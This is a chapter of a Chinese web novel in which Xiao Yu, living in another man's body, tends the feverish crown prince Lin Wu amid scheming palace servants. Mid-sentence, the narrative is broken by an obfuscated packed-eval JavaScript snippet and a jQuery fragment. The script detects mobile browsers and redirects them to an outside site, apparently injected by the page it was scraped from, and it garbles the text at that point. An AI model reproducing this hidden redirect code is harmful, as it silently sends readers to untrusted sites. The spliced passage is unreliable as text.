117. 泽国太子,落水高烧
作品:《飞升有灵》 他伸出双手一看,是自己的身体没错,可他是男子啊……
【泽国,尚男风】
萧屿:“……”
【你进来是个意外,无法抹除你的记忆,所以现在只是替身,原身江渔随时可能替换你,请尽快完成历练,成为主人。】
萧屿神色一肃:“这里的时间流速与外界相同吗?”
【外界一个时辰,此间两年。】
萧屿皱眉,比试是三日为期,时间较为充裕,但若是一直无法诞生主人,岂不是要在这里困一辈子,“你寻找主人的标准是?”
【没有标准。】
“嗯?”
【谁能成为主人,那他就是标准。】
“……”
萧屿沉默了半瞬,决定不再废口舌,他要想办法先去见一面林伍。
他转过身在房间唤了几声,无人回应,他便想要出去看看,却发现无法用暴力推开门,他现在的身躯十分孱弱,甚至连一个普通人都赶不上。
刚刚没注意,自己的右脚似乎有些陂,走起路来不利索,甚至还有一点摇晃。
掀开裤腿,这才看到狰狞的烧伤,看疤痕,应该留下有几年时间了。
他放下裤腿,来到打开的窗户边,这倒是没有上锁。
但是窗台很高,几乎到了他的胸口,凭他现在的身体,也只能拼力一试。
萧屿拉过一个椅子费劲吧啦地爬上去,还没有站稳就感到体力不支,脑袋缺氧直接栽进了管家刚修剪好的草地上,右脚不出意料崴了,伤上加伤。
这动静自然逃不过院子里的侍卫。
齐刷刷围过来,看样子又要将他架回去去。
萧屿着急,立刻大喊:“我要见林伍。”
侍卫们听到他直呼太子殿下的名讳,吓了一大跳。
萧屿便改口:“我要见太子殿下。”
“太子殿下现在无法见你,还是跟我们回去吧!”
萧屿实在拗不过他们的力气,眼瞧着又要被锁回去,闭眼咬牙,终是脸色爆红说出那句话,“我是太子妃,你们谁敢动我!”
侍卫们的脸色十分古怪,思虑再三,还是放开了他。
“太子殿下现在在哪儿?带我去见他。”
“太子殿下现在真不能见你。”侍卫们很无奈,平时温温吞吞的太子妃今日怎么一改常态,发疯般跳窗,还吵吵闹闹要见太子殿下,这要是传到太子殿下口中,又要招人厌恶。
“为什么不能见我?”萧屿见他们神色躲闪,心中有一丝不好的预感,“他发生了什么?”
侍卫支支吾吾不肯说。
“说,有什么事情都冲我来,不会责罚你们。”
有他这句话侍卫的胆子就大了,“昨日殿下和美人们在亭中饮酒作乐,一时喝多了,跌入了湖中,又是溺水,又是风寒,现在都还没醒过来。”
“什么?”萧屿一惊,“带我去看看。”
侍卫们的脑袋摇地像个拨浪鼓一样,“我们不能靠近,那边都是皇后娘娘的人。”
“算了,我自己去,给我指个路。”萧屿板着脸道。
他少有如此冷脸的情况,心中是真的着急,便不顾上太多,顺着侍卫指着的方向,一瘸一拐走过去。
不得不说这东宫是真的大,萧屿走了好久才走到落水的地方,湖光涟漪,莲叶连天,亭台轻纱,确实是一处风景优美、闲情逸致的好地方,看起来比当初墨景渊的百花亭还要好看。
哼,还真是会享受。和美人饮酒作乐摔进池子也是活该!
萧屿骂骂咧咧两句,又认命地绕过湖水,然后经过几座假山,终于小径的尽头,看到了太子寝宫,辉煌耀眼似画中世界。
萧屿刚一靠近,就被人拦了下来。
“什么人竟然敢擅闯此地?”两个高大的侍卫面无表情问道。
看穿着并不似东宫中人,在他们腰间甚至还带了配刀。
“贾大,你眼睛是瞎了吗?这可是太子妃!”一位老嬷嬷端着一盆湿衣服从拐角路过,一打眼就瞧见了萧屿,立刻脸色一变,“这是我们娘娘的亲侄子,你眼瞎啊,居然敢拦住他啊。”
“抱歉了。”侍卫行礼放行。
萧屿立刻想要冲进去看林伍,但是那老嬷嬷力气大,一把抓住了他,“太子妃,你怎么到这里来了?”
萧屿焦急道:“听说他生病了,病的怎么样?让我见见他。”
老嬷嬷脸上闪过一丝疑惑,紧接着恍然大悟,“还得是太子妃有手段,你现在装作十分担忧他的样子进去,定能取他的信任!”
萧屿:“?”
“样子虽然要做,但是这湿衣服也要换上,可不能让他的病真的好了。”老嬷嬷说着把湿衣服递给他。
萧屿端着衣服:“??”
就这半会儿,萧屿明白了林伍所处环境,四周都是心怀鬼胎之人,自己顶替的江渔也不是什么好东西。
怪不得昨夜落水今日还没有醒来,如此照顾下去能醒过来才怪。
老嬷嬷殷勤的帮他开门,萧屿小心翼翼地端着木盆进去。
吱嘎,大门再一次被掩盖,温暖的阳光只出现了一瞬,房间再一次陷入阴冷湿暗。
萧屿安静地放下木盆,轻手轻脚绕过银制屏风来到塌前。
一名消瘦的男子静静躺着,俊美的容颜似天神下凡,眉毛浓黑,飞扬入鬓,若是此刻他还睁着眼睛,必定威严摄人,叫人不敢亲近。但此刻他只是静静躺着,露出了最脆弱的一面,失去所有的防备,虚弱得任何人都可取他性命。
萧屿蹑手蹑脚地坐在床边,去探他的呼吸。
还好,虽然热度高,但还活着。
屋中窗户紧闭,空气湿热,萧屿抬手替他擦掉鬓角的汗,这个温度下,被褥里肯定捂出了一身的汗。
萧屿犹豫了片刻,掀开他的被褥。
洁白的里衣湿哒哒贴在他的身上,自落水后根本没有人为他换过。
外面那些人说是来照看他,实际上是圈禁他,不管他死活。
萧屿从床头的格子里找出干燥的里衣,看了两眼林伍,脸颊微烫,半眯着眼睛,毛手毛躁地替他换下衣服,又重新盖好被子,然后飞速跳下床,灰溜溜地捂着胸口半天没回过神。
换衣服什么的,对他的冲击力还是有点大,特别是在林伍没有意识的时候,让他有一种羞愧的做贼感。
“母后……”
床上忽然传来低吟。
萧屿凑过去听。
“母后……你转过来看看我……我冷……好冷,不要丢下我……”
林伍好看的眉皱成一团,不曾醒来,却一直说着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431401|152504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胡话。
“冷吗?”萧屿摸他的额头,烫的惊心,“你等我一下,我去打水给你降温。”
“……不要走。”林伍忽然抬手。死死抓住他的手。
“我不走,我一会儿就回来。”萧屿哄道。
林伍还是不肯松手,而且表情更加痛苦,萧屿便不忍心离开,“好,我不走,我就在这里陪着你。”
林伍的神情放松下来,手却一直没有松开。
萧屿无奈,只能坐在床边陪他。
林伍迷糊间时不时会低声呼喊:“母后……”
萧屿一时没答,林伍便急了,“母后你走了吗?”
萧屿:“……我在。”
“好。”林伍一时安心了,只不过一会儿后,他又说道,“母后……我想听你唱歌。”
萧屿:“……”他现在上哪儿给他学歌去。
“母后,为何不说话……”林伍皱眉,抓着萧屿的手腕越发紧。
萧屿深吸了一口气,才没有疼得叫出声。
“对不起,母后……我忘记了,你生了一场病,再也无法给我唱歌了。”林伍的声音忽然低沉下去。
萧屿的心口忽然一紧,轻轻回握着他的手。
“那你可以再抱抱我吗?”
萧屿:“……”
要求怎么这么多。
没办法,和生病的人没有道理可言,他踢掉鞋袜,侧躺在床边。
林伍立刻贴过来,如同一个炙热的火炉贴在他的胸前。
湿哒哒的脑袋直接钻进他的颈窝,萧屿整个人都僵住了。
许是萧屿的体温偏低,林伍本能地整个人都黏过来,松开手腕,双手直接霸道地环住他的腰。
萧屿想跑都没地方跑,稍微往后仰一下,两人就能一起掉下床。
而且林伍还发着烧,如果抱着自己能让他好受些,那便抱着吧,只是这个姿势着实十分折磨。
默默念着清心散热的口诀,萧屿努力克制、维持自己心平气和,但只要林伍稍微动一下,他所有的清心寡欲都碎了个彻底。
很快,黑夜来临,萧屿睁着眼睛根本不敢睡,时不时探着他的温度,好在林伍这具身体常年习武,底子很好,正在缓慢的自我降温。否则这种情况下,外面的人绝不会送药进来,甚至还极有可能在他更糟糕的时刻落井下石。
整个前半夜,萧屿都绷着精神不敢睡去,可白天又是跳窗又是奔波过来寝殿,在加上漫长的身心双重折磨,在后半夜,虚弱的身体终于撑不住,眼皮一重,沉沉地睡过去。
也不知睡了多久,黎明的第一道阳光钻入大门缝隙,洒入房间,萧屿迷迷糊糊,下意识去探身边的人,却摸了个空,他顿时吓得清醒了,蹭的一下子清醒,坐了起来。
“醒了?”低沉有力的声音响起。
林伍背对着他坐在床边,赤着双脚踩在地上,浑身都透着一股冷漠疏离感。
萧屿微微一愣,只感觉林伍明明近在眼前,却仿若远在天边,心中没由来的一慌,这种感觉他太熟悉了,好像回到了几年前他们初相识的场景。
“醒了就滚回去。”林伍冷冷道,甚至都没有回头看他一眼,站起身拿过外袍,毫不留恋的绕过屏风,几步走了出去。
萧屿:“?”
变脸功夫大胜从前啊。